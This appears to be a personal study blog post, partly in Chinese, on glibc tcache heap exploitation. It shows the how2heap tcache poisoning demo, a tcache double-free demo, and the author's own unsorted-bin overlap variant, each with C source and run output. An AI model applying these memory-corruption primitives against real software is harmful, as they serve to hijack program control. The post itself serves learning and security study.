Tcache Poisoning && Tcache Dup

Tcache Poisoning

how2heap tcache_poisoning.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}

grxer@grxer-virtual-machine /m/h/S/h/glibc_2.27> ./tcache_poisoning
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.
After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,
We have to create and free one more chunk for padding before fd pointer hijacking.

The address we want malloc() to return is 0x7fffffffe448.
Allocating 2 buffers.
malloc(128): 0x603260
malloc(128): 0x6032f0
Freeing the buffers...
Now the tcache list has [ 0x6032f0 -> 0x603260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x6032f0
to point to the location to control (0x7fffffffe448).
Now the tcache list has [ 0x6032f0 -> 0x7fffffffe448 ].
1st malloc(128): 0x6032f0
Now the tcache list has [ 0x7fffffffe448 ].
2nd malloc(128): 0x7fffffffe448
We got the control

覆盖tachebin的next为我们想申请的地址即可

image-20230327091111479

image-20230327091058041

2.26甚至没有检查tcache的size是否符合要求

Tcache Dump

#include <stdio.h>
#include <stdlib.h>

int main() {
fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");

fprintf(stderr, "Allocating buffer.\n");
int* a = malloc(8);

fprintf(stderr, "malloc(8): %p\n", a);
fprintf(stderr, "Freeing twice...\n");
free(a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

return 0;
}
grxer@grxer-virtual-machine /m/h/S/h/glibc_2.27> ./tcache_dup
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x555555756260
Freeing twice...
free(): double free detected in tcache
grxer@grxer:~$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1.6) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

额,因为doublefree crash掉了,2.27的libc不应该呀,找了下资料发现2020.9.10 2.27-3Ubuntu1.3 用glibc2.31源码进行了一波patch

我们可以利用unsortedbin来overlapping,构造doublefree

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char attack[15] = "6666666";
void* fill[7];
void* unsortbin;
void* tcachebin;
for (size_t i = 0; i < 7; i++)
fill[i] = malloc(0x80);
unsortbin = malloc(0x80);
tcachebin = malloc(0x80);
malloc(0x10);//防止和topchunk合并
for (size_t i = 0; i < 7; i++)
free(fill[i]);
free(unsortbin);
free(tcachebin);
malloc(0x80);
free(tcachebin);
long* ptr = malloc(0xb0);
ptr[18] = &attack;
malloc(0x80);
ptr = malloc(0x80);
puts(attack);
strncpy(ptr, "hacker",7);
puts(attack);
}
grxer@grxer /m/h/S/h/glibc_2.27> ./tcache_dup
6666666
hacker

先把申请到的前七个堆块释放掉

image-20230327140326972

这样0x90的tcachebin满7个了

free(unsortbin);

就会丢进unsortedbin里

image-20230327140512916

free(tcachebin);

image-20230327140608610

tcachebin的低地址chunk unsortedbin是free的,会触发unlink操作

image-20230327141113916

malloc(0x80);

让出一个tcachebin

free(tcachebin);

tcachebin进入tcachebin

image-20230327141335773

这样我们就实现了chunk的overlapping ,

long* ptr = malloc(0xb0);

ptr[18] = &attack;

把unsortedbin拿出来,在8*18=0x90处也就是tcachebin的next区写入我们attack的栈地址,tcache bin next地址指向的是chunk的data区,和fastbin指向chunk头不同

image-20230327142253602

malloc(0x80);
ptr = malloc(0x80);

ptr指向我们的attack地址,如果开了canary,这里的attack[15]数组大小至少为15(canary最后一字节为0),tcache_get里会e->key = NULL;会破坏掉canary